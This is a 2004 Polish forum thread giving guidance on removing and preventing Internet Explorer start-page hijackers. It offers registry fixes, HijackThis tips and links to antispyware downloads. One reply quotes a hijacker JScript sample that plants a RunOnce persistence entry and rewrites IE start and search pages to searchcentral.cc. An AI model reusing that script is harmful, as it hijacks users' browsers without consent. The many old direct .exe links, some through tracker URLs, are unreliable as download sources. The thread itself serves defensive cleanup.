prewencja a nieautoryzowana zmiana strony startowej w IE

1)sytuacja : twoja przglądarka ma nową stronę startową i nową strone wyszukaj .
Za kaźdym, kiedy twoja przeglądarka ładuje nową stronę , strona nie pojawia się , zamykasz jakie dziwne strony , prawdopodobnie z okienkami pop–up .
Najpierw próbujesz zmienić ustawienia na stare : wchodzisz w IE do Narzędzia >>Opcje internetowe >>Ogólne – Strona główna i ustawiasz akceptując ok.

Moźesz oczywiście próbować wejść do rejestru by przeszukać ustawienia , jednak wtedy pojawia się komunikat, źe ''nie masz uprawnień administratora'' i nie moźesz edytować rejestru, chodź było tak dotychczas . Niektórzy nieuczciwi webmasterzy po prostu zamieszczają złośliwe skrypty, by za ich pomocą zmienić ustawienia w twojej wyszukiwarce, czyniąc je potem niemoźliwymi do odwrócenia .. "next to impossible".. .
W pierwszej kolejności naleźy oczywiście spróbować zastosować programy antispyware jak : – Spybot S&D
http://www.umich.edu/~hsw/spybotsd12.exe
– Ad–aware
http://ftp.pcworld.com/pub/new/privacy___security/aaw6.exe
– SpySweeper ,(trial)
http://www.spysweeper.com/cgi–bin/site.pl?url=http%3A%2F%2Fwebroot.com%2Fdownload%2Ftrial%2F347%2Fssfsetup347.exe
– Pest Patrol ,(trial)
http://tracker.5star–network.com/download?key=pestpatrol&uri=http://files.5star–network.com/Utilities/5StarPPEval.exe&site=1
– Aluria Spyware Eliminator (trial)
http://download.com.com/3000–8022–10255386.html

Zakładając, źe to programy nie rozwiązały problemu, powinieneś spróbować uźyć HijackThis v.1.97
http://download.com.com/3001–8022–10227352.html
Dokładnie przyjrzeć się liście uruchamianych plików i moźesz dokonać zmian i naprawy. Szczególy programu stronie : http://tomcoyote.com/hjt/

2)Potrzebujesz przywrócić ustawienia panelu kontrolnego IE.
(Nie dotyczy win 2000 i xp).
Znajdz plik o nazwie "control.ini" . Otwórz go w Notepad (jeden z najlepszych edytorów html) http://www.notepad.org/
Moźesz znaleźć coś takiego jak :
[don't load]
inetcpl.cpl=yes
Skasuj "inetcpl.cpl=yes" ustawienie pod "[don't load]".
Zachowaj i zamknij po czym spróbuj panel kontrolny ponowie. Jesli nie zostaly zachowane zmiany zrestartul komputer , powinno zadziałać.
/W windows 2000–Xp Start >> edycja rejestru Regedit >> znajdź klucz :HKEY_CURRENT_USERControl Paneldon't load.
Znajdź czy inetcpl.cpl jest wymieniony .
Jesli jest, to skasuj ten wpis .
Zobacz liste nazw plikow w panelu kontrolnym : http://www.spywareinfo.com/articles/hijacked/#applets .

3). Znajdź na swoim dysku pliki kończące się na *.hta or *.js .
Jeśli znajdziesz, otwórz je w Notepad(podałem wyźej link ) albo innym edytorze tekstu i poszukaj URLs , ktore najprawdopodobniej są przyczyną przejęcia i zmiany ustawień.Kaźdy plik z tym URLs skasuj. Usuń takźe wszystkie pliki tymczasowe *.tmp , gdyź niektóre z nich zawierają złośliwe kody zmieniające ustawienia przeglądarki lub instalujące malware(trojany, robaki, dialery..) .
Poza tym kasowanie plików tymczasowych (*.tmp) nie jest szkodliwe w odróźnieniu od biblioteczek *dll, które mogą być czasem wymagane do uźycia .

4). Sprawdz liste obiektów BHO na twojej przeglądarce bo to moźe mieć wpływ na jej działanie i ustawienia. Szczegóły oraz lista takich znanych obiektów znajduje się tu : http://www.spywareinfo.com/bhos/
.Jesli znajdziesz jeden z wymienionych obiektów ( spyware/malware/hijackware) , uruchom program HijackThis (podałem link)
i znajdz to BHO z listy po czym spróbuj naprawić z pomocą tego programu. Przed usunięciem obiektu BHO zrób jego kopie bo moźe się okazać,źe on nie ma nic wspólnego z twoim problemem.

5) Teraz moźesz zorientować się czy twój problem związany jest ze wpisami w startup – przy uruchamianiu ,czy po ponownym uruchomieniu komputera problem wraca.Zate czy dotyczy to wpisów w sekcji rozruchowej rejestru. Dokładnie przyjrzyj się liście wpisów jakie ujawnił HijackThis . Sprawdz te wpisy z listą Pacman`s List : http://www.pacs–portal.co.uk/startup_content.php
Wymienia sie tam pozycje jako wirusy,malware, spyware i inne niepoźądane , cala baza http://www.sysinfo.org/startupinfo.php
Przeszukaj i jesli są to napraw problem.
Waźne . Żeby te zmiany zadziałały musisz zamnkąć wszystkie okna IE, czasem jest potrzebne wylogowanie czy ponowny rozruch windowsa źeby przyniosło oczekiwane efekty.

6) Wciąź są problemy?. Spróbuj oczywiście zawsze przeskanować swój sytem dobrym antywirusem , najlepiej kilkoma dobrymi i programem antytronajowym :trojan remover : http://www.simplysup.com/tremover/download.html.
trojan hunter : http://www.misec.net/products/TrojanHunter.exe
TDS–3 : http://www.diamondcs.com.au/tds/downloads/tds3setup.exe .
Moźesz teź przeskanować system cwshredder : http://download.freenet.de/archiv_c/cwshredder_5981.html
CoolWWWSearch.SmartKiller (v1/v2) : http://www.majorgeek.com/esselbachfp.php?in=security/delcwssk.zip,1080393977O934b535800b1cba8f96a5d72f72f1611df5354693177e83e8ba089e94b7b6b55 .

Swój post oparłem zasadniczo na artykule Mike Healan poruszającym problem ''Browser Hijacking'' http://www.spywareinfo.com/articles/hijacked/ .
Powodzenia źycze :–) .

Odpowiedzi: 8

Programy zabezpieczające przed przejęciem i zmianą strony startowej w IE wykaz :

–Npust Homepage Guard – It protects the IE Home page http://hotftp.hinet.net/files/apps/02apps/hguard.exe
–Browser Hijack Blaster v.1.0 http://ftp.pcworld.com/pub/new/privacy___security/firewalls/bhblastersetup.exe
–SpywareGuard 2.2 http://www.javacoolsoftware.net/downloads/spywareguardsetup.exe
– SpywareBlaster 3.0 http://www.javacoolsoftware.net/downloads/spywareblastersetup.exe
– Win Patrol v.7 http://www.winpatrol.com/wpsetup.exe
– StartPage Guard http://www.snapfiles.com/download/dlstartpageguard.html
–@Start Page 3.1 http://www.soft411.com/company/Interapple–Inc/downloads/Start–Page.exe
–CarHomePage 1.0 http://www.soft411.com/company/XemiComputers–Ltd/downloads/CarHomePage.exe
Anonymous
Dodano
20.05.2004 23:29:10
jeszcze kilka wskazówek odnośnie strony startowej :
''..Opisaną sytuację najczęściej powoduje krótki skrypt napisany w javie, np. : var url = "http://searchcentral.cc/index.php?v=4&aff=3615";
var burl = "http://searchcentral.cc/search.php?v=4&aff=3615";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\update12.js";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce\tlc",filepath);
Shell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",url);
Shell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\Main\Search Page",url);
Shell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\Main\Search Bar",burl);
Shell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\Main\Use Search Asst","no");
Shell.RegWrite("HKCU\Software\Microsoft\Internet Explorer\Main\Use Custom Search URL",1,"REG_DWORD");

Powoduje on dopisanie do rejestru, konkretnie do klucza RunOnce polecenia uruchomienia przy starcie systemu siebie samego i zmianę strony startowej.
Dopóki nie usuniemy wpisu z klucza RunOnce, dotąd będzie podmieniana strona startowa. Wiele osób sprawdzając, co jest uruchamiane przy starcie zapomina o tym kluczu. Ten skrypt przy starcie systemu po prostu się wykona, więc nie zobaczymy go na liście aktywnych procesów.
Zabezpieczyć się przed czymś takim jest trudno. Jak go usuniemy, to zwykle i tak dość prędko znowu ściągniemy go sobie spowrotem ..''.
Naleźy zadbać o instalację wszystkich łat krytycznych zalecanych przez Microsoft. Dodatkowo warto zastosować jeden z programów, który chroni przez podmienieniem strony startowej a jesli juź to nastąpi , moźe przywrócić poprzedni stan. Do listy podanych wyźej programów zabezpieczających przed przejęciem strony w wyszukiwarce dodam jeszcze program Win Patrol v.7, który zareaguje i zapyta nas w przypadku takiej zmiany ( kontroluje teź zainstalowane obiekty BHO w IE) oraz pozwoli na przywrócenie poprzednich ustawień,do pobrania : http://www.winpatrol.com/wpsetup.exe
Anonymous
Dodano
13.05.2004 15:25:07
jakby świat był zawsze taki prosty jak cwshreder(nawiasem mówiąc ten program jest tam wymieniony ):)
Anonymous
Dodano
04.05.2004 20:33:13
e tam wystarczy CwShreder i po kłopocie, ani razu mnie nie zawiódł, ale jak juź to najnowsza wersja. :)
Anonymous
Dodano
04.05.2004 17:15:18
być moźe doświadczenia tej osoby pomogą jeszcze zdesperowanym (na własne ryzyko) :

''Sam niedawno miałem podobny przypadek. Po uruchomieniu IE ładowała się strona searchpage.cc. Kiedy przechodziłem do jakiejkolwiek wyszukiwarki, zawsze wyskakiwał searchpage.cc. W autostarcie nie było nic, ani w kluczach rejestru, ani w menu start.
W Temporary Internet Files znalazłem podejrzany elemet. Inst.exe. Spakowany UPXem. Poniewaź nie miałem najmniejszego pojęcia jak hijacker uruchamia się z przeglądarką, rozpakowałem exe. Przy uzyciu edytora zasobów wyodrębniłem dwa binaria, z których jeden okazał się być biblioteką o nazwie mshelper.dll. Sprawdziłem katalog windowssystem32. Była tam taka biblioteka, co więcej, jej usunięcie było niemoźliwe, bowiem plik był uźywany przez system.
ProcessExplorer wszystko wyjaśnił.
Nie pozostało nic innego, jak poszukać w wyodrębnionych binariach ciągów będących kluczami rejestru. Bingo!
Pousuwałem wszystkie klucze związane ze swoim odkryciem. Po restarcie usunąłem felerną bibliotekę. Po problemie.
Usuwanie kluczy rozpoczęło się od HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerExtensions
Tak więc jeśli występuje tam jakiś wpis ewidentnie nie dotyczący uźywanego oprogramowania związanego z IE, np. FlashGet, warto go usunąć wyśledziwszy uprzednio powiązania tego klucza i innymi częściami rejestru (które najczęściej teź moźna spokojnie usunąć).
Oczywiście, zanim zrobisz cokolwiek w rejestrze, najpierw wykonaj jego kopię zapasową!!!!. To na wszelki wypadek.
Inna moźliwość: HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerSearch oraz HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerMain.
Tutaj często lokują się hijackery.

>>cd.
Jakźe się dzisiaj mocno zdziwiłem, kiedy znów wyskoczyło mi searchpage.cc
He, spryciarze! W systemie pozostał jeszcze jeden plik, mtwirl.dll. A moźe pograny został z jakiejś strony?
..No w kaźdym razie odkryłem dziś (Ameryka!), źe usuwanie kluczy z rejestru powinno zaczynac się od swojej działki, czyli HKCU. Potem HKLM. Poprzednio kompletnie zapomniałem o HKCU, więc dziś okazało się, źe cały mój wysiłek poszedł na marne, bo wszystkie pozostawione wpisy zostały skopiowane do HKLM.
Hijackerom mówimy stanowcze NIE! Dlatego wszystko usunąłem, mtwirl.dll przywitał się z Koszem, a ZoneAlarm wzbogacił o nowe reguły blokujące dostęp do searchpage.cc i www.nkvd.us.
..Aha, jeszcze jedno. Warto sprawdzić klucz HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionURL i wpisy prefiksów. U mnie wszystkie prefixy zamienione były na www.nkvd.us/1526, co powodowało róźne cuda ze stronami WWW. ''

Życzę powodzenia :)
Anonymous
Dodano
21.04.2004 15:08:45
>>jeźeli wgraliśmy juz SUN jave –
jak zmienić ,by domyślną była SUN JVM (wirtualna maszyne javy) z uźywanej dotychczas Microsot VM :
start >panel sterowania >opcje internetowe >zakładka –zaawansowane >znaleźć wpis "Java (Sun)" i zaznaczyc okienko : "Use Java 2 v 1.4.x for applet (requires restart)" >następnie odznaczyc w okienku ''logowanie Microsoft VM'' >zachowac zmiany potwierdzjac ok. ,po czym ponownie zrestartować wyszukiwarke.Szczegóły na stronie SUN–a(równieź jak odwrócić ustawienia) : http://java.com/en/download/help/switchvm.jsp

Przykładem wyźszego bezpieczeństwa javy SUN jeśli chodzi o jej podatność na złośliwe programy w sieci jest chodźby słabość javy Microsoft na takie szkodliwe programy jak :
Trojan.ByteVerify
VerifierBug.class
Java.JJBlack worm
Java.Shinwow trojan ,
programy, które lokalizują się w systemie w : ''C:Documents and SettingsApplication DataSunJavaDeploymentcachejavapiv1. 0jar ''
Dotyczy to systemów Windows 98, ME, NT, 2000, XP, 2003. (szczegóły na stronie Microsoftu : http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS03–011.asp ) .
Jak podaje SUN, te programy wymienione wyźej '' nie mogą wyrządzić źadnych szkód twojemu komputerowi poniewaź zostały napisane na wirtualneą maszynę javy Microsoftu,nie zas SUN JVM ''.

Podam jeszcze program , który nie tylko,źe w czasie rzeczywistym chroni przed szpiegami instalującymi się w naszym komputerze , ale równieź zawiera opcje zabezpieczenia naszej strony startowej w wyszukiwarce IE : SpywareGuard 2.2 ,bo o nim mowa jest freeware , win95–xp , link : http://www.javacoolsoftware.net/downloads/spywareguardsetup.exe

Innym programem, który moźe uchronić naszą przeglądarkę przed niekontrolowanym przejęciem za pośrednictwem kontrolek active X jest : SpywareBlaster 3.0 , jest rowniez freeware .
Program potrafi w wysokim stopniu uchronić przed instalacją na naszym systemie szpiegów podczas serfowania po internecie . Jak napisał jeden z uzytkownikow programu na jednym z vortali, zazwyczaj znajdywal u siebie po 20–30 szpiegów po intensywnym serfoawaniu za pomocą ad–aware, teraz znajduje u siebie ledwie 1,2 pozycje.
do pobrania link : http://www.javacoolsoftware.net/downloads/spywareblastersetup.exe
Anonymous
Dodano
03.04.2004 19:31:45
dalsze wskazówki zabezpieczenia się przed niekontrolowanym przechwyceniem twojej strony startowej w IE :
–upewnij się jaką masz u siebie zainstalowaną JRE (Wirtualna Maszyna Javy). Jest absolutnie niestandardowe i wysoce niebezpieczne dla bezpieczeństwa twojego systemu uźywanie javy od microsoftu MVM ( duźe ryzyko podmienienia strony w IE poprzez zainstalowanie CoolWebSearch– szczególy na temat CoolWebSearch : http://www.spywareinfo.com/~merijn/cwschronicles.html#cwshredder ) . Pozbądź się javy microsoftu a na jej miejsce zainstaluj jave sun (JVM). Wirtualna Maszyna Javy swoimi apletami moze umoźliwic dostep do dwojego komputera . Java suna (JVM) zapewnia wysoki poziom ochrony przed złośliwymi kodami. Odnośnik do suna : http://www.java.com:80/en/download/help/index.jsp .

Programy jeszcze do ochrony IE start page (freeware) win95–xp :

Browser Hijack Blaster v.1.0 : http://ftp.pcworld.com/pub/new/privacy___security/firewalls/bhblastersetup.exe

@Start Page 3.1 : http://www.soft411.com/company/Interapple–Inc/downloads/Start–Page.exe

CarHomePage 1.0 : http://www.soft411.com/company/XemiComputers–Ltd/downloads/CarHomePage.exe

Pozdrawiam :)
Anonymous
Dodano
29.03.2004 00:30:24
Po rozwiązaniu problemów z stroną startową IE, warto zastosować jedną z następujących aplikacji w celu wyeliminowania dalszych nieautoryzowanych zmian.

:arrow: StartPage Guard

:arrow: Npust Homepage Guard
McScr@by
Dodano
28.03.2004 01:40:11
Anonymous
Dodano:
27.03.2004 15:43:01
Komentarzy:
8
Strona 1 / 1